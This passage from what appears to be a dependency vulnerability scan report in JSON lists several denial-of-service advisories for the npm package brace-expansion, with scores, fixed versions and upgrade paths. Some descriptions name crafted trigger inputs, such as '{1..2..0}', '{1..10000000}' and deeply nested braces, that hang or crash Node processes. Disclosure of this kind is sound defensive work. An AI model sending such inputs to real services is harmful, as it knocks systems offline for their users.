`expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub 